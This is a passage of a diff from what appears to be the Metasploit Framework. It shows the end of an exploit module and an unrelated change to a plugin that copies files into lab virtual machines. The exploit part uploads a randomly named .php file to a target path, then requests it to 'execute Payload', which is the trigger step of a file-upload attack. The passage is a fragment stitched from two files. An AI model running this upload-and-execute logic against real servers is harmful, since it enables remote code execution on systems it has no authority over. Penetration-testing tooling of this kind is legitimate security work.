print_error "Failed to upload file!"
return
end
print_status "Attempting to execute Payload"
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
}, 20)
end
def build_path
if datastore['PATH'][0,1] == '/'
uri_path = datastore['PATH'].dup
else
uri_path = '/' + datastore['PATH'].dup
end
uri_path << '/' unless uri_path.ends_with?('/')
if datastore['FILENAME']
uri_path << datastore['FILENAME']
uri_path << '.php' unless uri_path.ends_with?('.php')
else
uri_path << Rex::Text.rand_text_alphanumeric(7)
uri_path << '.php'
end
return uri_path
end
end

View File

@ -383,7 +383,7 @@ class Plugin::Lab < Msf::Plugin
local_path = args[args.count-2]
vm_path = args[args.count-1]
if args[0] == "all"
@controller.each do |vm|
if vm.running?
@ -393,7 +393,7 @@ class Plugin::Lab < Msf::Plugin
end
else
args[0..-2].each do |vmid_arg|
next unless @controller.includes_vmid? vmid_arg
next unless @controller.includes_hostname? vmid_arg
if @controller[vmid_arg].running?
print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}"
@controller[vmid_arg].copy_to_guest(local_path, vm_path)